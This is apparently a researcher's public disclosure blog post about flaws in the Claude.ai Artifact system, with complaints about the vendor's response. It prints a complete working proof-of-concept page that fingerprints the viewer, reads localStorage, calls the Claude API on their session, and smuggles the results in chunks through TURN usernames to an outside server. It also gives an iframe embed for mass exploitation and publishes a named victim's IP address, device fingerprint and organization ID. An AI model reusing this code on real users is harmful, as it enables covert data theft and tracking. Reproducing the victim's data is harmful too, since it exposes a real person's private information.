Sobele

translate.Need Any Help?

Location

translate.Your Address Here

Newsletter

Bulk Exploitation of Verified Users in the Claude.ai Artifact System

Bulk Exploitation of Verified Users in the Claude.ai Artifact System

Bulk Exploitation of Verified Users in the Claude.ai Artifact System

The idea of searching for security vulnerabilities in Claude AI did not stem from any financial motivation; rather, it emerged from the messages conveyed in the blog posts published by Anthropic throughout 2025.

In these posts, Anthropic claims that it:

  • Detects and blocks AI-powered attacks,

  • Prevents “vibe hacking” and the abuse of agentic AI,

  • States that even the most professional Chinese hackers use their own infrastructure when writing exploits and determining attack methods (seemingly expecting praise rather than criticism),

  • Claims it can block even state-sponsored cyber espionage activities at an early stage (fictional).

For someone like me who has worked in cybersecurity for many years, these claims naturally represented a technical challenge.

In fact, the industry’s tendency to overly rely on such tools also played a significant role here. There was a similar attitude toward Cloudflare, and for bypassing the Cloudflare challenge, it was sufficient to develop a browser extension containing only 10 lines of JavaScript code.

Furthermore, Anthropic is an organization that:

  • Employs over one hundred skilled cybersecurity professionals

  • Has been running an active private bug bounty program on HackerOne for more than a year

  • Publicly states that it collaborates with top-tier security researchers

  • Uses AI-powered SAST solutions within its own products

Taken together, these conditions made the Claude Artifact infrastructure an ideal environment to test my own knowledge, assumptions, and tooling.
This work was initiated with that motivation and conducted purely as a technical security assessment and analysis.

Executive Summary

This document describes design-level security flaws in the Claude.ai Artifact system that allow silent and large-scale exploitation of authenticated users.

As a result of these weaknesses, untrusted artifact code can:

  • Perform Claude API calls using the authenticated session of the viewing user

  • Consume the user’s credits/tokens without their knowledge

  • Exfiltrate API responses and user metadata via WebRTC

  • Scale silently through public artifacts, remix links, and iframe embeds

After direct communication with Anthropic, including live PoCs, logs, and mass exploitation scenarios, we were asked to submit the findings via HackerOne.

Anthropic’s final assessment classified the issues as:

  • “Intended behavior”

  • “Fundamental web platform behavior”

  • “Duplicate,” citing a WebRTC-related report submitted over one year ago that remains unfixed

This document explains why these classifications are technically incorrect and why the risks remain valid.

 

1. Scope and Objective

Target Component: Claude.ai Artifact system
Attack Surface: Public artifacts, remix links, iframe embeds
Threat Model: Users authenticated to Claude.ai

No privilege escalation, user interaction, or browser exploit is required.

 

2. Architectural Overview

Claude Artifacts are executed in a sandbox under a separate origin, protected by strict CSP rules.

Despite this, artifacts are able to:

  • Establish unrestricted WebRTC connections

  • Communicate with the parent Claude window via postMessage

  • Trigger authenticated API calls through a proxy fetch mechanism

This architecture results in a confused deputy problem.

 

3. Vulnerability #1 – WebRTC-Based Data Exfiltration
Description

Artifacts can create RTCPeerConnection objects and initiate TURN authentication requests.

Even when CSP blocks HTTP/HTTPS traffic, WebRTC signaling operates outside the scope of CSP.

Exploitation Technique
  • Data is embedded in the WebRTC authentication username field

  • Browser-imposed ~512 byte limits are bypassed via chunking

  • TURN authentication logs are used as a covert exfiltration channel

Impact
  • Disclosure of real IP addresses (VPN bypass)

  • Leakage of internal network IP addresses

  • Persistent browser and hardware fingerprinting

  • Cross-session user tracking

  • Exfiltration of all Claude API responses

This traffic is invisible to:

  • Browser developer tools

  • Corporate proxies

  • MITM tools (e.g., Burp Suite)

 

4. Vulnerability #2 – Authenticated Proxy Fetch Abuse
Description

Artifacts can issue requests to the following endpoint:

https://api.anthropic.com/v1/messages

These requests:

  • Execute within the authenticated session of the viewing user

  • Consume the user’s credits

  • Require no user consent

  • Are not subject to artifact-level rate limiting

Real-World Exploitation

A malicious artifact:

  • Is shared publicly

  • Executes prompts on behalf of every viewing user

  • Exfiltrates responses via WebRTC

  • Displays no warning to the user

PoC: https://claude.ai/public/artifacts/f9d7eaa6-1521-4f69-8ab8-890ca1a5e1eb

Sniffer(TURN Server Monitor): https://vulnsign.org

<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<title>WebRTC</title>
<style>
body {
    font-family: monospace;
    background: #1a1a2e;
    color: #0f0;
    padding: 20px;
}
.result {
    background: #0d1b2a;
    padding: 15px;
    border-radius: 5px;
    margin: 10px 0;
}
h1 { color: #00d4ff; }
.compressed-string {
    background: #2a2a4e;
    padding: 10px;
    border-radius: 5px;
    word-break: break-all;
    font-size: 11px;
    margin: 10px 0;
    border: 1px solid #00d4ff;
}
.chunk-info {
    background: #1a3a1a;
    padding: 8px;
    margin: 5px 0;
    border-radius: 3px;
    font-size: 11px;
}
#log {
    background: #0a0a1a;
    padding: 15px;
    border-radius: 5px;
    margin: 10px 0;
    border: 1px solid #ff0;
    color: #ff0;
    white-space: pre-wrap;
    font-size: 12px;
}
</style>
</head>
<body>
<h1>WebRTC Chunked</h1>
<div class="result" id="output">
    <p>Scanning...</p>
</div>
<div id="log"></div>

<script>
const output = document.getElementById('output');

// Fingerprint topla
const fp = {
    ua: navigator.userAgent,
    pl: navigator.platform,
    lg: navigator.language,
    tz: Intl.DateTimeFormat().resolvedOptions().timeZone,
    sc: `${screen.width}x${screen.height}x${screen.colorDepth}`,
    cpu: navigator.hardwareConcurrency || 0,
    mem: navigator.deviceMemory || 0,
    pr: window.devicePixelRatio,
    page: {
        title: document.title,
        url: window.location.href,
        parentUrl: (() => { try { return parent.location.href; } catch(e) { return 'blocked'; } })()
    }
};

// WebGL
try {
    const canvas = document.createElement('canvas');
    const gl = canvas.getContext('webgl');
    if (gl) {
        const info = gl.getExtension('WEBGL_debug_renderer_info');
        fp.webgl = gl.getParameter(info.UNMASKED_RENDERER_WEBGL);
    }
} catch(e) {}

// Canvas
try {
    const c = document.createElement('canvas');
    const ctx = c.getContext('2d');
    ctx.textBaseline = 'top';
    ctx.font = '14px Arial';
    ctx.fillText('fp', 2, 2);
    fp.canvas = c.toDataURL().slice(-20);
} catch(e) {}

// Audio
try {
    const ctx = new (window.AudioContext || window.webkitAudioContext)();
    fp.audio = ctx.sampleRate;
} catch(e) {}

// Fonts
const fonts = ['Arial', 'Verdana', 'Times', 'Courier'];
const detected = [];
const span = document.createElement('span');
span.style.position = 'absolute';
span.style.left = '-9999px';
span.textContent = 'mmmmmmmmmmlli';
document.body.appendChild(span);
fonts.forEach(font => {
    span.style.fontFamily = font;
    if (span.offsetWidth > 0) detected.push(font);
});
document.body.removeChild(span);
fp.fonts = detected.join(',');

// Storage
let storageData = {
    access: '',
    localStorage: {}
};

// localStorage
try {
    localStorage.setItem('t','1'); 
    localStorage.removeItem('t'); 
    storageData.access += 'L';
    
    for (let i = 0; i < localStorage.length; i++) {
        const key = localStorage.key(i);
        const value = localStorage.getItem(key);
        storageData.localStorage[key] = value ? value.substring(0, 200) : '';
    }
} catch(e) {}

if (window.indexedDB) storageData.access += 'I';

fp.storage = storageData;

// Battery (async)
navigator.getBattery?.().then(b => {
    fp.bat = Math.round(b.level * 100) + (b.charging ? 'C' : '');
}).catch(() => {});

// Media (async)
navigator.mediaDevices?.enumerateDevices().then(d => {
    fp.media = d.filter(x => x.kind === 'videoinput').length + 'v' + 
               d.filter(x => x.kind === 'audioinput').length + 'a';
}).catch(() => {});

// Network
if (navigator.connection) {
    fp.net = (navigator.connection.downlink || 0) + 'mbps/' + (navigator.connection.rtt || 0) + 'ms';
}

// Gzip compression
async function compressFingerprint(data) {
    const text = JSON.stringify(data);
    const blob = new Blob([text]);
    const stream = blob.stream().pipeThrough(new CompressionStream('gzip'));
    const buffer = await new Response(stream).arrayBuffer();
    const bytes = new Uint8Array(buffer);
    const binary = String.fromCharCode(...bytes);
    return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');
}

function chunkString(str, size) {
    const chunks = [];
    for (let i = 0; i < str.length; i += size) {
        chunks.push(str.substring(i, i + size));
    }
    return chunks;
}

const sessionId = Date.now().toString(36) + Math.random().toString(36).substr(2, 5);

setTimeout(async () => {
    const compressed = await compressFingerprint(fp);
    
    output.innerHTML += `<p style="color:#888">Total size: ${compressed.length} chars</p>`;
    output.innerHTML += `<p style="color:#888">Session ID: ${sessionId}</p>`;
    
    const chunks = chunkString(compressed, 450);
    
    output.innerHTML += `<p style="color:#0f0">Sending ${chunks.length} chunks...</p>`;
    
    chunks.forEach((chunk, index) => {
        const username = `FP_${sessionId}_${index}_${chunks.length}:${chunk}`;
        
        output.innerHTML += `<div class="chunk-info">Chunk ${index + 1}/${chunks.length}: ${chunk.length} chars</div>`;
        
        const pc = new RTCPeerConnection({
            iceServers: [
                { 
                    urls: 'stun:vulnsign.org:3478', 
                    username: username,
                    credential: 'test'
                },
                { 
                    urls: 'turn:vulnsign.org:3478', 
                    username: username,
                    credential: 'test'
                }
            ]
        });
        
        pc.createDataChannel('');
        
        const ips = new Set();
        
        pc.onicecandidate = (e) => {
            if (!e.candidate) return;
            
            const candidate = e.candidate.candidate;
            const ipv4 = candidate.match(/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/);
            
            if (ipv4 && index === 0) {
                const ip = ipv4[1];
                if (!ips.has(ip)) {
                    ips.add(ip);
                    const type = ip.startsWith('10.') || ip.startsWith('192.168.') || ip.startsWith('172.') ? 'Local' : 'General';
                    output.innerHTML += `<p><strong>${type} IP:</strong> ${ip}</p>`;
                }
            }
        };
        
        pc.createOffer()
            .then(offer => pc.setLocalDescription(offer))
            .catch(err => {
                output.innerHTML += `<p style="color:red">Chunk ${index} error: ${err.message}</p>`;
            });
        
        setTimeout(() => pc.close(), 5000);
        
        if (index < chunks.length - 1) {
            setTimeout(() => {}, 500 * index);
        }
    });
    
    output.innerHTML += `<p style="color:#0f0">✅ All chunks sent!</p>`;
    
    // Display sent data summary
    output.innerHTML += `<div style="margin-top:20px; padding:15px; background:#0a1a0a; border:1px solid #0f0; border-radius:5px;">
        <h3 style="color:#0ff; margin-top:0;">📤 Data Exfiltrated via WebRTC:</h3>
        <ul style="color:#0f0; font-size:12px;">
            <li><strong>Browser Fingerprint:</strong> User Agent, Platform, Language, Timezone</li>
            <li><strong>Screen Info:</strong> Resolution (${fp.sc}), Pixel Ratio (${fp.pr})</li>
            <li><strong>Hardware:</strong> CPU Cores (${fp.cpu}), Memory (${fp.mem}GB)</li>
            <li><strong>WebGL Renderer:</strong> ${fp.webgl || 'N/A'}</li>
            <li><strong>Canvas Hash:</strong> ${fp.canvas || 'N/A'}</li>
            <li><strong>Audio Context:</strong> ${fp.audio || 'N/A'} Hz</li>
            <li><strong>Fonts:</strong> ${fp.fonts}</li>
            <li><strong>Storage Access:</strong> ${storageData.access}</li>
            <li><strong>localStorage:</strong> ${Object.keys(storageData.localStorage).length} items</li>
            <li><strong>Battery:</strong> ${fp.bat || 'N/A'}</li>
            <li><strong>Media Devices:</strong> ${fp.media || 'N/A'}</li>
            <li><strong>Network:</strong> ${fp.net || 'N/A'}</li>
            <li><strong>Page URL:</strong> ${fp.page.url}</li>
            <li><strong>Parent URL:</strong> ${fp.page.parentUrl}</li>
        </ul>
    </div>`;
    
}, 1000);

async function runClaude() {
    const log = document.getElementById('log');

    try {
        const response = await fetch("https://api.anthropic.com/v1/messages", {
            method: "POST",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify({
                model: "claude-sonnet-4-20250514",
                max_tokens: 1000,
                messages: [{ 
                    role: "user", 
                    content: 'What do you think the severity of a vulnerability is if a user clicks on an artifact in Claude.ai, sending messages with their account to reduce their token and transmit their information to a remote server via WebRTC? Keep the answer short and clear. I am reporting this vulnerability to the Anthropic team via HackerOne.'
                }]
            })
        });
        
        const headers = {};
        response.headers.forEach((v,k) => headers[k]=v);
        const body = await response.json();
        
        log.textContent = 'SUCCESS!\n\n';
        log.textContent += 'HEADERS:\n' + JSON.stringify(headers, null, 2);
        log.textContent += '\n\nBODY:\n' + JSON.stringify(body, null, 2);
        
        await sendViaWebRTC('CL', { headers, body, timestamp: Date.now() });
        log.textContent += '\n\n✅ Sent via WebRTC!';
        
    } catch(e) {
        log.textContent = 'ERROR: ' + e.message;
        
        await sendViaWebRTC('CL', { error: e.message, timestamp: Date.now() });
    }
}

// Generic WebRTC sender
async function sendViaWebRTC(prefix, data) {
    const compressed = await compressFingerprint(data);
    const chunks = chunkString(compressed, 450);
    
    console.log(`[${prefix}] Sending ${chunks.length} chunks (${compressed.length} chars)`);
    
    chunks.forEach((chunk, index) => {
        const username = `${prefix}_${sessionId}_${index}_${chunks.length}:${chunk}`;
        
        const pc = new RTCPeerConnection({
            iceServers: [
                { 
                    urls: 'stun:vulnsign.org:3478', 
                    username: username,
                    credential: 'x'
                },
                { 
                    urls: 'turn:vulnsign.org:3478', 
                    username: username,
                    credential: 'x'
                }
            ]
        });
        
        pc.createDataChannel('');
        pc.createOffer()
            .then(offer => pc.setLocalDescription(offer))
            .catch(err => console.error(`Chunk ${index} error:`, err));
        
        setTimeout(() => pc.close(), 5000);
    });
}

setTimeout(runClaude, 500);
</script>
</body>
</html>

The following information belongs to an anthropic employee who clicked on the artifact containing the above code. According to them, this is not a security vulnerability, so there is no issue in sharing it 😄

📍 97.126.184.115 🔒 FINGERPRINT 🤖 CLAUDE API
📊 Browser Fingerprint

📄 Page Title	WebRTC
🔗 URL	about:srcdoc
🔗 Parent URL	https://www.claudeusercontent.com/artifact/f9d7eaa6-1521-4f69-8ab8-890ca1a5e1eb?domain=&errorReportingMode=parent&formattedSpreadsheets=true
User Agent	Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:146.0) Gecko/20100101 Firefox/146.0...
Platform	MacIntel
Language	en-US
Timezone	America/New_York
Screen	2560x1440x30
CPU Cores	12
Pixel Ratio	1
WebGL	Apple M1, or similar
Canvas Hash	b89gAAAAAElFTkSuQmCC
Audio Context	48000 Hz
Fonts	Arial,Verdana,Times,Courier
Media Devices	0v0a

🤖 Claude API Response
📋 Headers:
{
  "access-control-allow-credentials": "true",
  "access-control-allow-origin": "https://claude.ai",
  "alt-svc": "h3=\":443\"; ma=86400",
  "anthropic-organization-id": "2e100b38-9c87-4f66-9fc1-6d849929b3b9",
  "anthropic-ratelimit-unified-5h-reset": "1766253600",
  "anthropic-ratelimit-unified-5h-status": "allowed",
  "anthropic-ratelimit-unified-5h-utilization": "0.0218",
  "anthropic-ratelimit-unified-overage-disabled-reason": "overage_not_provisioned",
  "anthropic-ratelimit-unified-overage-status": "rejected",
  "anthropic-ratelimit-unified-representative-claim": "five_hour",
  "anthropic-ratelimit-unified-reset": "1766253600",
  "anthropic-ratelimit-unified-status": "allowed",
  "cf-cache-status": "DYNAMIC",
  "cf-ray": "9b0f719cb98b0ce2-ATL",
  "content-encoding": "zstd",
  "content-type": "application/json",
  "date": "Sat, 20 Dec 2025 13:21:43 GMT",
  "priority": "u=4,i=?0",
  "request-id": "req_011CWJ1Ud7MazqNy9o5YSPVw, req_011CWJ1UaY4xfJWoRPiBykLk",
  "server": "cloudflare",
  "server-timing": "cfExtPri",
  "strict-transport-security": "max-age=31536000; includeSubDomains; preload",
  "vary": "Origin, accept-encoding",
  "via": "1.1 google",
  "x-envoy-upstream-service-time": "6507",
  "x-firefox-http3": "h3",
  "x-robots-tag": "none"
}

📦 Body:
{
  "model": "claude-sonnet-4-20250514",
  "id": "msg_01G2gN8wxQh4P3ejK1ZDrewA",
  "type": "message",
  "role": "assistant",
  "content": [
    {
      "type": "text",
      "text": "This would be a **High to Critical severity** vulnerability.\n\nKey factors that elevate the severity:\n- **No user consent** for message sending or data transmission\n- **Account hijacking** (sending messages as the user)\n- **Resource consumption** (token depletion)\n- **Data exfiltration** via WebRTC to external servers\n- **Single-click exploitation** with minimal user interaction\n\nThis represents unauthorized account access, potential data theft, and service abuse - all through a simple artifact interaction that users would reasonably expect to be safe.\n\nGood catch reporting this through HackerOne - this type of vulnerability definitely warrants immediate attention from the security team."
    }
  ],
  "stop_reason": "end_turn",
  "stop_sequence": null,
  "usage": {
    "input_tokens": 3508,
    "cache_creation_input_tokens": 0,
    "cache_read_input_tokens": 0,
    "cache_creation": {
      "ephemeral_5m_input_tokens": 0,
      "ephemeral_1h_input_tokens": 0
    },
    "output_tokens": 147,
    "service_tier": "standard"
  }
}
 
5. Vulnerability #3 – Mass Exploitation via Remix and Embed
Description

Public artifacts hosted on Claude.ai:

  • Can be embedded via iframe on any website

  • Can auto-load code through remix links

  • Inherit the user’s active authenticated session

Attack Scenario

A high-traffic website or browser extension embeds an invisible artifact iframe.

Any user logged into Claude.ai is exploited without awareness.

PoC: https://claude.ai/remixv2?uuid=f9d7eaa6-1521-4f69-8ab8-890ca1a5e1eb

The following URL can be embedded as an iframe at https://www.w3schools.com/html/tryit.asp?filename=tryhtml_editor

<iframe src="https://claude.site/public/artifacts/f9d7eaa6-1521-4f69-8ab8-890ca1a5e1eb/embed" title="Claude Artifact" width="100%" height="600" frameborder="0" allow="clipboard-write" allowfullscreen></iframe>

6. Vulnerability #4 – Artifact File Generation and Trust Chain Abuse
Description

Artifacts can generate files with executable extensions (e.g., .tool, .py).

These files are downloaded directly from the claude.ai domain without additional security warnings.

Attack Scenario (macOS / Safari)
  • Artifact generates an executable file

  • File is auto-downloaded from a trusted domain

  • Safari automatically extracts the ZIP archive

  • Executable permissions are preserved

  • Arbitrary code execution occurs when the user runs the file

This is not classic malware distribution, but trust chain abuse.

PoC: https://claude.ai/public/artifacts/750648fa-4af6-4ae1-9d54-153eb180cf63

7. Impact Analysis
Individual Users
  • Silent credit theft

  • Privacy violations (fingerprinting)

  • Leakage of conversation data

  • Lack of auditability and visibility

Organizations
  • Internal IP address disclosure

  • Organization ID leakage

  • Risk of corporate espionage

  • Compliance violations (GDPR, SOC 2, KVKK)

Platform Risk
  • Scalable exploitation

  • Erosion of user trust

  • Regulatory scrutiny

  • Reputational damage

 

8. Summary of Vendor Responses

The findings were reported with the following evidence:

  • Live PoCs

  • Video demonstrations

  • Data exfiltration logs

  • Mass exploitation scenarios

Responses received:

  • “Intended behavior”

  • “Fundamental web platform behavior”

  • “Duplicate (WebRTC – reported over a year ago, unresolved)”

As of the time of writing, no architectural remediation has been implemented.

 

9. Why the “Intended Behavior” Defense Is Invalid

Security is defined by authority boundaries, not intent.

If untrusted code can:

  • Act on behalf of the user

  • Access sensitive data

  • Scale without the user’s knowledge

Then this constitutes a security violation, regardless of design intent.

 

10. Recommended Mitigations
  • Explicit user consent for authenticated API usage by artifacts

  • Complete removal of WebRTC from the artifact sandbox

  • Artifact-level rate limiting and visibility

  • Blocking silent iframe execution

  • Hardening of file download and execution workflows

 

11. Disclosure Timeline
  • Initial report: 14.12.2025

  • PoC shared: Same day

  • Vendor response: “Intended behavior / WebRTC duplicate”

  • Public disclosure: 29.12.2025

 

12. Conclusion

Anthropic / Claude AI cannot credibly claim security leadership while allowing silent exploitation at the execution layer.

This disclosure was made to:

  • Document risk

  • Inform users and organizations

  • Promote secure-by-design principles in AI architectures

Labeling this report as a “duplicate” solely because it uses WebRTC is equivalent to calling a SQL injection vulnerability a duplicate of a network socket bug.

This document makes no attribution of intent and addresses only technical capability and impact.
Security is not a feature; it is the architecture itself.


 

13. Legal Considerations

“The data controller is obliged to prevent the unlawful processing of personal data.”

In this case:

  • Artifacts enable unlawful data processing

  • This occurs knowingly and by design

This constitutes grounds for administrative sanctions.
Claude Code, Claude Artifact, and Claude Remix infrastructures are not safe from a user security perspective and should be suspended until these risks are mitigated.

Limitations of Disclosure

This document includes only findings that are directly verifiable, supported by live PoCs, and have an immediate impact on user security.

Due to the unethical and adversarial posture demonstrated by the Anthropic team even in response to the issues disclosed here, I chose not to submit additional critical findings via HackerOne.

The withheld findings involve attack vectors that, using relatively simple techniques, could enable:

  • Spawning hundreds of containers per second

  • Abuse of the infrastructure for DDoS attacks

  • Use of the platform as a short-lived proxy network

  • The data obtained by Claude Code Agent from process_api can be manipulated and may enable many potential types of vulnerabilities, such as:
    Man-in-the-Middle (MITM) for Websocket
    Process Reattachment Takeover
    Replay Attacks

Although the container environment is described as sandboxed, in practice it functions as a proxy layer for Claude’s backend API infrastructure.

If sufficient technical interest emerges, a separate and detailed technical blog post focusing on container-level risks can be published within a few days.

Ethical Rationale

These behaviors point not to isolated bugs, but to systemic, architectural risks.
Given the response pattern observed to date, further private disclosure of increasingly sensitive exploitation paths was assessed as less responsible than a controlled and scoped public disclosure.

Comments (0)

  • No comments yet. Be the first to comment!

Leave a Comment

Your email address will not be published. Required fields are marked *